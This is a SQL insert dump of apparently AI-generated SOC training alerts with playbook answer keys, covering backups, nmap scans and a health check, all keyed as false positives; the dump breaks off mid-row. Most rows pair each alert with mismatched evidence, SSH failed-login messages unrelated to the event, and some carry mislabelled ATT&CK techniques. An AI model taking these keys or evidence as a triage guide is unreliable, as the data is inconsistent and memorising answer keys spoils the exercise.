INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1783, 'Authorized Administrative Backup Misidentified as Data Exfiltration', 'low', 'Azure Sentinel', 'Data transfer activity from a sensitive database server to a backup server was flagged. This was verified as an authorized backup operation.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.6\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"data_volume\":\"500GB\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal database server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was a scheduled backup task performed by the IT department.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.291Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.6\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"data_volume\\\":\\\"500GB\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1784, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A series of network connections from an internal IP address was detected, resembling a vulnerability scan. This activity is part of routine IT security checks.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.1\",\"username\":\"admin\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS 192.168.1.1\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate vulnerability scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Routine vulnerability scans are conducted by IT to ensure network security compliance.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.292Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.1\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS 192.168.1.1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1785, 'Authorized Administrative Backup Activity Detected', 'low', 'Azure Sentinel', 'An administrative account performed a series of backup operations on critical servers. This is a scheduled, authorized activity.', 'Data Exfil', 'T1027', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"backup --incremental --servers 10.0.0.10\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing authorized backup\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup --incremental --servers 10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate backup command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity matches the pattern of scheduled backup operations by authorized personnel.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1786, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scans were detected originating from an internal IT department system. The scans are part of routine vulnerability assessments scheduled by the IT team.', 'Network Scanning', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"it_admin\",\"hostname\":\"vulnscan01\",\"command_line\":\"nmap -A 192.168.1.100\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT department for scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for routine scanning\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"nmap -A 192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine scanning command executed by IT department\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"This alert was triggered by legitimate IT vulnerability scanning activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1787, 'Authorized Backup Process Detected', 'low', 'Wazuh', 'An authorized backup process was detected on the server, initiated by a recognized administrative account. This aligns with scheduled backup operations.', 'Data Transfer', 'T1030', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.15\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"command_line\":\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server initiating the backup\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server IP\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate backup command executed by admin\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"This alert corresponds to a scheduled backup process, which is normal and expected.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1788, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scanning activities originating from an internal IP was detected. This is consistent with scheduled vulnerability assessments conducted by the IT department.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.10\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network scanning from authorized IT tools.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches the profile of routine IT vulnerability scanning and is corroborated by the use of known internal tools.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1789, 'Suspicious System Health Check Activity', 'low', 'Elastic SIEM', 'Detected multiple system health checks from a known internal IP. Checks are part of regular system maintenance operations.', 'Execution', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"sys_maint\",\"hostname\":\"healthcheck_server\",\"command_line\":\"healthcheck_tool --run-full-scan\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in regular system maintenance checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The detected process is a legitimate system health check routinely performed by the IT department.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, 